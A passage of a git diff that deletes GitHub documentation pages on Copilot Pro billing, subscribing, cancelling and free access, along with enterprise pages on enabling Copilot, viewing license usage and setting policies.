[AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/canceling-copilot-as-an-individual-user). - -## Determining your billing date - -Your billing date will depend on whether or not you are already being billed by {% data variables.product.prodname_dotcom %}. - -* **If you are not already being billed by {% data variables.product.prodname_dotcom %}**, in most cases your billing cycle will start on the day you sign up for {% data variables.product.prodname_copilot_short %}. For example, if you sign up on 3 September, with monthly billing, your initial billing cycle will run from 3 September until and including 2 October, and then on the same days of subsequent months. For annual billing, if you sign up on 3 September, your initial cycle will end on 2 September the following year. - -* **If you already have a billing cycle**, billing for {% data variables.product.prodname_copilot_short %} will be included in your next bill, or your first bill after the end of your 30-day {% data variables.product.prodname_copilot_short %} trial. You will be charged on a pro rata basis for that initial period. If you do not already have an established billing date, you will be billed for {% data variables.product.prodname_copilot_pro_short %} at the end of your 30-day trial, or when you set up a new paid {% data variables.product.prodname_copilot_short %} subscription. - -## Further reading - -* [AUTOTITLE](/copilot/about-github-copilot/subscription-plans-for-github-copilot) -* [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription) -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-information-to-your-receipts) diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/canceling-copilot-pro-as-an-individual-user.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/canceling-copilot-pro-as-an-individual-user.md deleted file mode 100644 index 461bf06fa614..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/canceling-copilot-pro-as-an-individual-user.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Canceling Copilot Pro as an individual user -shortTitle: Cancel Copilot Pro subscription -intro: 'You can cancel your {% data variables.product.prodname_copilot_pro_short %} subscription if you no longer want to use {% data variables.product.prodname_copilot_pro_short %}.' -product: '{% data variables.product.prodname_copilot_pro_short %}' -versions: - feature: copilot -type: how_to -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/canceling-copilot-as-an-individual-user - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/canceling-copilot-as-an-individual-user ---- - -To cancel a free {% data variables.product.prodname_copilot_short %} trial, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/canceling-your-copilot-trial-as-an-individual-user). - -If you have been granted a free subscription to {% data variables.product.prodname_copilot_pro %} as a verified student, teacher, or maintainer of a popular open source project, you will not be able to cancel your subscription. If you have access to {% data variables.product.prodname_copilot %} through an organization {% ifversion ghec %}or enterprise {% endif %}subscription, you will not be able to cancel your subscription. In these cases, you can disable {% data variables.product.prodname_copilot_pro %} in your environment. For more information, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment). - -{% data reusables.copilot.copilot-one-account-short %} - -You can cancel your {% data variables.product.prodname_copilot_pro_short %} subscription at any time. The cancellation will take effect at the end of your current billing cycle. You can also cancel your {% data variables.product.prodname_copilot_pro_short %} trial, during the {% data reusables.copilot.trial-period %}-day trial period. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. Under "Add-ons", in the "{% data variables.product.prodname_copilot %}" section, select the **Manage subscription** dropdown on the right and then click **Cancel**. - - ![Screenshot of the {% data variables.product.prodname_copilot %} section of the "Plans and usage" page. The edit dropdown is expanded and the "Cancel" option is outlined in orange.](/assets/images/help/copilot/copilot-cancel-cfi-subscription.png) - -1. In the "Cancel {% data variables.product.prodname_copilot %}" modal, click **I understand, cancel {% data variables.product.prodname_copilot %}** diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/canceling-your-copilot-pro-trial-as-an-individual-user.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/canceling-your-copilot-pro-trial-as-an-individual-user.md deleted file mode 100644 index 75e0688e2ecf..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/canceling-your-copilot-pro-trial-as-an-individual-user.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Canceling your Copilot Pro trial as an individual user -shortTitle: Cancel Copilot Pro trial -intro: 'You can cancel your {% data variables.product.prodname_copilot_pro_short %} trial if you don''t want to be subscribed to {% data variables.product.prodname_copilot_pro_short %} after your trial period ends.' -product: '{% data variables.product.prodname_copilot_pro_short %}' -versions: - feature: copilot -type: how_to -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/canceling-your-copilot-trial-as-an-individual-user - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/canceling-your-copilot-trial-as-an-individual-user ---- - -You can cancel your {% data variables.product.prodname_copilot_pro_short %} trial at any time during your trial period. If you cancel during your {% data reusables.copilot.trial-period %}-day trial, you won't be charged. Your cancellation will take effect at the end of your trial period. If you do not cancel your trial, you will be automatically enrolled in a paid subscription at the end of your trial period, according to the billing preferences you set up when you started your trial. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. Under "Add-ons", in the "{% data variables.product.prodname_copilot %}" section, click **Cancel trial**. - - ![Screenshot of the {% data variables.product.prodname_copilot %} section of the "Plans and usage" page. The "Cancel trial" option is highlighted in dark orange.](/assets/images/help/copilot/copilot-cancel-trial.png) diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/getting-free-access-to-copilot-pro-as-a-student-teacher-or-maintainer.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/getting-free-access-to-copilot-pro-as-a-student-teacher-or-maintainer.md deleted file mode 100644 index a6036c56bcc5..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/getting-free-access-to-copilot-pro-as-a-student-teacher-or-maintainer.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Getting free access to Copilot Pro as a student, teacher, or maintainer -shortTitle: Get free access to Copilot Pro -intro: 'Learn how to use {% data variables.product.prodname_copilot_pro_short %} for free as a student, teacher, or open-source maintainer.' -versions: - feature: copilot -type: how_to -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer ---- - -## About free {% data variables.product.prodname_copilot_pro %} access - -There are three ways to qualify for free access to {% data variables.product.prodname_copilot_pro_short %}: - -* **As a verified student on {% data variables.product.prodname_education %}.** To learn about becoming a verified student, see [AUTOTITLE](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student). -* **As a verified teacher on {% data variables.product.prodname_education %}.** To learn about becoming a verified teacher, see [AUTOTITLE](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/apply-to-github-education-as-a-teacher). -* **As a maintainer of a popular open-source repository.** To determine if you are an eligible maintainer, see [Accessing {% data variables.product.prodname_copilot_pro_short %} for free](#accessing-copilot-pro-for-free). - -{% data variables.product.company_short %} reevaluates your eligibility every month. - -## What if I don't qualify for free access to {% data variables.product.prodname_copilot_pro_short %}? - -If you do not meet the previous criteria, you can either: - -* <a href="https://github.com/github-copilot/signup?ref_cta=Copilot+trial&ref_loc=about+github+copilot&ref_page=docs" target="_blank"><span>Try {% data variables.product.prodname_copilot_pro_short %} for free</span></a> with a one-time 30-day trial. After the free trial, you will need a paid subscription for continued use. -* Set up {% data variables.product.prodname_copilot_free_short %} to get a limited experience of {% data variables.product.prodname_copilot_short %} without a subscription. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free). - -## Accessing {% data variables.product.prodname_copilot_pro_short %} for free - -1. In the upper-right corner of any page, click your profile photo, then click **{% octicon "copilot" aria-hidden="true" %} Your {% data variables.product.prodname_copilot_short %}**. -1. If you qualify for free access to {% data variables.product.prodname_copilot_short %}, you will see a page titled "{% data variables.product.prodname_copilot_pro %}" informing you that you are eligible. Click **Get access to {% data variables.product.prodname_copilot %}**. -1. On the page that appears, configure the {% data variables.product.prodname_copilot_short %} use policies to meet your needs, then click **Save and complete**. diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/index.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/index.md deleted file mode 100644 index 9ace8f23dd80..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Managing your GitHub Copilot Pro subscription -shortTitle: Manage Copilot Pro subscription -intro: 'Subscribe to {% data variables.product.prodname_copilot_pro_short %} and manage your subscription as an individual user.' -versions: - feature: copilot -topics: - - Copilot -children: - - /about-billing-for-copilot-pro - - /getting-free-access-to-copilot-pro-as-a-student-teacher-or-maintainer - - /subscribing-to-copilot-pro-as-an-individual-user - - /modifying-your-copilot-pro-subscription-as-an-individual-user - - /canceling-your-copilot-pro-trial-as-an-individual-user - - /canceling-copilot-pro-as-an-individual-user -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription ---- diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/modifying-your-copilot-pro-subscription-as-an-individual-user.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/modifying-your-copilot-pro-subscription-as-an-individual-user.md deleted file mode 100644 index 7653421d6de7..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/modifying-your-copilot-pro-subscription-as-an-individual-user.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Modifying your Copilot Pro subscription as an individual user -shortTitle: Modify Copilot Pro subscription -intro: 'You can change whether you are billed monthly or yearly for {% data variables.product.prodname_copilot_pro_short %}.' -product: '{% data variables.product.prodname_copilot_pro_short %}' -versions: - feature: copilot -type: how_to -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/modifying-your-copilot-subscription-as-an-individual-user - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/modifying-your-copilot-subscription-as-an-individual-user ---- - -If you have access to {% data variables.product.prodname_copilot %} through an organization {% ifversion ghec %}or enterprise {% endif %}subscription, you will not be able to modify your subscription. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. In the "{% data variables.product.prodname_copilot %}" section, select the **Edit** dropdown on the right. - * If you are on a monthly billing cycle, select **Change to yearly billing**. - * If you are on a yearly billing cycle, select **Change to monthly billing**. - -{% data reusables.billing.billing-info %} diff --git a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/subscribing-to-copilot-pro-as-an-individual-user.md b/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/subscribing-to-copilot-pro-as-an-individual-user.md deleted file mode 100644 index 1329d4b0a03e..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-github-copilot-pro-subscription/subscribing-to-copilot-pro-as-an-individual-user.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Subscribing to Copilot Pro as an individual user -shortTitle: Subscribe to Copilot Pro -intro: 'Start a free trial to begin using {% data variables.product.prodname_copilot_pro_short %}.' -redirect_from: - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription-for-your-personal-account - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-individual-subscription - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/subscribing-to-copilot-as-an-individual-user - - /copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-your-copilot-subscription/subscribing-to-copilot-as-an-individual-user -versions: - feature: copilot -type: how_to -topics: - - Copilot ---- - -Before you can start using {% data variables.product.prodname_copilot_pro %}, you will need to set up a free trial or subscription. - ->[!NOTE] -> -> * _If you are a member of an organization or enterprise_ that has a subscription to {% data variables.product.prodname_copilot %}, you can request access to {% data variables.product.prodname_copilot_short %} by going to [https://github.com/settings/copilot](https://github.com/settings/copilot) and requesting access under "Get {% data variables.product.prodname_copilot_short %} from an organization."{% ifversion ghec %} If you have a {% data variables.enterprise.prodname_managed_user %} account instead of a personal account, you cannot get a {% data variables.product.prodname_copilot_for_individuals %} subscription.{% endif %} -> * _If you are a verified student, teacher, or maintainer of a popular open source project_, {% data variables.product.prodname_copilot %} is free to use. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer). - -{% data reusables.copilot.signup-procedure %} - -## Next steps - -To start using {% data variables.product.prodname_copilot_short %}, see [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself). diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/index.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/index.md deleted file mode 100644 index 793f1c630802..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing GitHub Copilot in your enterprise -shortTitle: Manage for enterprise -intro: 'Enterprise owners can subscribe to {% data variables.product.prodname_copilot_short %}, manage {% data variables.product.prodname_copilot_short %} for organizations in the enterprise, and control {% data variables.product.prodname_copilot_short %} policies.' -versions: - feature: copilot-enterprise -topics: - - Copilot -children: - - /managing-the-copilot-subscription-for-your-enterprise - - /managing-access-to-copilot-in-your-enterprise - - /managing-policies-and-features-for-copilot-in-your-enterprise ---- diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/disabling-copilot-for-organizations-in-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/disabling-copilot-for-organizations-in-your-enterprise.md deleted file mode 100644 index 7d9040833a3e..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/disabling-copilot-for-organizations-in-your-enterprise.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Disabling Copilot for organizations in your enterprise -shortTitle: Disable for organizations -intro: 'Disable {% data variables.product.prodname_copilot %} for some or all of the organizations in your enterprise.' -permissions: Enterprise owners -product: 'Enterprises with a subscription to {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/disabling-copilot-for-organizations-in-your-enterprise ---- - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} -1. In the "{% data variables.product.prodname_copilot_short %} is active in your enterprise" section, configure the access for your {% data variables.product.prodname_copilot %} subscription. - * To disable {% data variables.product.prodname_copilot %} for all organizations in your enterprise, select **Disabled**. - * To disable {% data variables.product.prodname_copilot %} for specific organizations, select **Allow for specific organizations**. - -1. If you selected **Allow for specific organizations**: - - 1. Under "Access management", locate the organization for which you want to disable {% data variables.product.prodname_copilot_short %}. - 1. To the right of the organization name, select the **Copilot** dropdown menu. - * If your enterprise has a {% data variables.product.prodname_copilot_business_short %} subscription, click **Disabled**. - * If your enterprise has a {% data variables.product.prodname_copilot_enterprise_short %} subscription, click **Remove access**. - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot) -* [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise) diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise.md deleted file mode 100644 index f02df0c5414b..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Enabling Copilot for organizations in your enterprise -shortTitle: Enable for organizations -intro: 'Enable {% data variables.product.prodname_copilot %} for some or all of the organizations in your enterprise.' -permissions: Enterprise owners -product: 'Enterprises with a subscription to {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise ---- - -Owners of enterprises that have a {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} subscription can enable {% data variables.product.prodname_copilot %} for all, none, or some organizations within the enterprise. - -For enterprises with a {% data variables.product.prodname_copilot_enterprise_short %} subscription, enterprise owners can choose to assign either {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} to individual organizations in the enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} -1. In the "{% data variables.product.prodname_copilot_short %} is active in your enterprise" section, configure the access for your {% data variables.product.prodname_copilot %} subscription. - * To enable {% data variables.product.prodname_copilot %} for all organizations in your enterprise, both current and future, select **Allow for all organizations**. - * To enable {% data variables.product.prodname_copilot %} for specific organizations, select **Allow for specific organizations**. - -1. If you selected **Allow for specific organizations**: - 1. Under "Access management", locate the organization for which you want to enable {% data variables.product.prodname_copilot_short %}. - 1. To the right of the organization name, select the **Copilot** dropdown menu. - * If your enterprise has a {% data variables.product.prodname_copilot_business_short %} subscription, click **Enabled**. - * If your enterprise has a {% data variables.product.prodname_copilot_enterprise_short %} subscription, click either **Copilot: Enterprise** or **Copilot: Business** to assign a specific Copilot plan to the organization. - -## Next steps - -After you've enabled {% data variables.product.prodname_copilot_short %} for an organization in your enterprise, owners of the organization can grant access to some or all members of the organization. See [AUTOTITLE](/copilot/managing-github-copilot-in-your-organization/managing-access-for-copilot-business-in-your-organization). - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot) -* [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise) diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/index.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/index.md deleted file mode 100644 index 13fd5caab29b..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Managing access to Copilot in your enterprise -shortTitle: Manage access -intro: 'Enterprise owners can manage {% data variables.product.prodname_copilot_short %} for organizations in the enterprise.' -versions: - feature: copilot-enterprise -topics: - - Copilot -children: - - /enabling-copilot-for-organizations-in-your-enterprise - - /disabling-copilot-for-organizations-in-your-enterprise - - /viewing-copilot-license-usage-in-your-enterprise - - /managing-github-copilot-access-to-your-enterprises-network ---- - diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/managing-github-copilot-access-to-your-enterprises-network.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/managing-github-copilot-access-to-your-enterprises-network.md deleted file mode 100644 index 1a1f7dbce461..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/managing-github-copilot-access-to-your-enterprises-network.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing GitHub Copilot access to your enterprise's network -intro: 'Learn how to use subscription-based network routing to control {% data variables.product.prodname_copilot_short %} access to your network.' -permissions: Enterprise owners -product: '{% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -shortTitle: Manage network access ---- - -{% data reusables.copilot.sku-isolation %} diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/viewing-copilot-license-usage-in-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/viewing-copilot-license-usage-in-your-enterprise.md deleted file mode 100644 index 8388ffc18fdd..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/viewing-copilot-license-usage-in-your-enterprise.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Viewing Copilot license usage in your enterprise -shortTitle: View license usage -intro: 'View how many users have access to {% data variables.product.prodname_copilot %} across {% ifversion fpt %}your organization{% else %} all the organizations in your enterprise{% endif %}.' -product: 'Enterprises with a subscription to {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -permissions: Enterprise owners -versions: - feature: copilot-enterprise -type: how_to -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/viewing-your-github-copilot-usage - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/viewing-copilot-usage-for-your-enterprise - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/viewing-copilot-usage-for-your-enterprise ---- - -{% ifversion enhanced-billing-platform %} - -{% data reusables.billing.enhanced-billing-platform %} - -{% endif %} - -## About your {% data variables.product.prodname_copilot %} usage - -If you have a subscription to {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %}, you can view usage information for {% data variables.product.prodname_copilot %} in your {% ifversion ghec %}enterprise, broken down by organization, or in your{% endif %} organization, broken down by seat assignment status. {% ifversion ghec %}At the enterprise level, this information includes the number of seats assigned in each organization, and the total spending associated with each organization, for the current billing cycle.{% endif %} At the organization level, this information includes the total number of seats, seats carried over from the previous billing cycle, new seats added during the current cycle, and seats to be removed at the end of the current cycle. - -{% ifversion ghec %} - -## Viewing {% data variables.product.prodname_copilot_short %} license usage at the enterprise-level - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "{% data variables.product.prodname_copilot_short %} monthly usage," view the breakdown of your {% data variables.product.prodname_copilot %} usage. - - ![Screenshot of enterprise-level billing, showing the section headed '{% data variables.product.prodname_copilot_short %} monthly usage.'](/assets/images/help/copilot/enterprise-level-seat-view.png) - - The figures represent the billed seats so far for the current billing cycle. The seat usage so far this month is calculated as the number of seats, divided by the number of days in the current billing cycle, multiplied by the days elapsed so far in the billing cycle. So, if you have 5 seats assigned from the beginning of the billing cycle, and the current cycle is 30 days long, and it's the 10th day of the cycle, this figure will be 1.6666. On day 20, it will be 3.3333 and on the last day of the cycle, it will be 5. - - The total spending for each organization for the current cycle will usually be the number of seats assigned, multiplied by the cost per seat. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot#about-billing-for-github-copilot-business-and-github-copilot-enterprise). However, if the same organization member is assigned a seat in multiple organizations, their seat usage will be included for each organization, but the enterprise will only be charged once. The cost for this person will only be included in the organization where they were first assigned a seat. - -1. Optionally, to receive a CSV report by email detailing the usage of {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_github_codespaces %}, and {% data variables.product.prodname_copilot %} for each of your enterprise account's organizations, under the billing summary at the top of the page click **Get usage report**. The report is sent to your account's primary email address. - - ![Screenshot of the header of the billing settings page on GitHub. A button, labeled "Get usage report", is highlighted with an orange outline.](/assets/images/help/billing/actions-packages-report-download-enterprise.png) - -## Viewing {% data variables.product.prodname_copilot_short %} license usage at the organization-level - -{% else %} - -## Viewing your organization's use of {% data variables.product.prodname_copilot %} - -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. -1. Under "{% data variables.product.prodname_copilot_short %}", view the breakdown of your {% data variables.product.prodname_copilot %} usage and upcoming changes in your organization. - - ![Screenshot of the organization-level {% data variables.product.prodname_copilot %} seat usage page.](/assets/images/help/copilot/org-level-seat-view.png) - - The figure for Total Seats shows how many seats are currently assigned for {% data variables.product.prodname_copilot %}. - -1. Optionally, to download a CSV report detailing the usage of {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_github_codespaces %}, and {% data variables.product.prodname_copilot %} in your organization, next to "Usage this month", click **Get usage report**. An email containing a link for downloading the CSV report is sent to the primary email address for your account. You can choose whether the report should cover the last 7, 30, 90, or 180 days. - ![Screenshot of the "Billing and plans" settings. A button, labeled "Get usage report", is highlighted with an orange outline.](/assets/images/help/billing/actions-packages-report-download.png) diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise.md deleted file mode 100644 index b244d9979888..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Managing policies and features for Copilot in your enterprise -intro: 'Enterprise owners can control the availability of {% data variables.product.prodname_copilot %} and its features for all organizations in the enterprise.' -permissions: Enterprise owners -product: '{% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -shortTitle: Manage policies ---- - -## About policies for {% data variables.product.prodname_copilot %} in your enterprise - -You can set policies that control the availability of {% data variables.product.prodname_copilot_short %} and its features in your enterprise and organizations. - -There are **three enforcement options** for {% data variables.product.prodname_copilot_short %} policies in your enterprise: - -* **No policy** - The feature is initially disabled at the organization level, but each organization with {% data variables.product.prodname_copilot_short %} enabled in your enterprise can set their own policy for the feature. -* **Enabled** - The feature is available in all organizations with {% data variables.product.prodname_copilot_short %} enabled in your enterprise. -* **Disabled** - The feature is blocked for all organizations with {% data variables.product.prodname_copilot_short %} enabled in your enterprise. - -If a policy is enabled or disabled at the enterprise level, the same policy cannot be changed at the organization level. - -If no policy is chosen at the enterprise level, and multiple organizations within the enterprise choose different policies and grant access to the same users, the most restrictive policy is enforced. - -You can configure any of the following policies for your enterprise: - -* [{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %}](#copilot-in-githubcom) -* [{% data variables.product.prodname_copilot_cli %}](#github-copilot-in-the-cli) -* [{% data variables.product.prodname_copilot_chat %} in the IDE](#github-copilot-chat-in-the-ide) -* [Editor preview features](#editor-preview-features) -* [{% data variables.product.prodname_copilot_mobile %}](#github-copilot-chat-in-github-mobile) -* [{% data variables.product.prodname_copilot_extensions %}](#github-copilot-extensions) -* [Suggestions matching public code](#suggestions-matching-public-code) -* [Give {% data variables.product.prodname_copilot_short %} access to Bing](#give-copilot-access-to-bing) -* [{% data variables.product.prodname_copilot_short %} access to alternative AI models](#copilot-access-to-alternative-ai-models) - -### {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %} - -With a {% data variables.product.prodname_copilot_enterprise_short %} license, you can enable "{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %}" to provide members of your enterprise access to AI features on the {% data variables.product.github %} website, including: -* **{% data variables.product.prodname_copilot_chat %} in {% data variables.product.prodname_dotcom_the_website %}** - You can ask {% data variables.product.prodname_copilot %} coding-related questions within a chat interface on {% data variables.product.github %}. You can ask general questions or questions within a specific context such as a repository, issue, file, or symbol. -* **{% data variables.product.prodname_copilot_short %} pull request summaries** - {% data variables.product.prodname_copilot_short %} can generate a summary of the changes made in a pull request, as well as a list of impacted files, using natural language. This overview helps reviewers quickly understand the proposed changes. -* **{% data variables.product.prodname_copilot_short %} knowledge bases** - Organization owners can create knowledge bases consisting of Markdown documentation across one or more repositories, allowing organization members to use that documentation as context when they ask questions in {% data variables.product.prodname_copilot_chat_dotcom_short %}, {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vscode %}, and {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_vs %}. - -If you enable "{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %}", you can also configure additional features: - -{% data reusables.copilot.policies-for-dotcom %} - -### {% data variables.product.prodname_copilot_cli %} - -{% data variables.product.prodname_copilot_cli %} is an extension for {% data variables.product.prodname_cli %} which provides a chat-like interface in the terminal. You can ask {% data variables.product.prodname_copilot %} for command suggestions, or for explanations of commands they run. - -### {% data 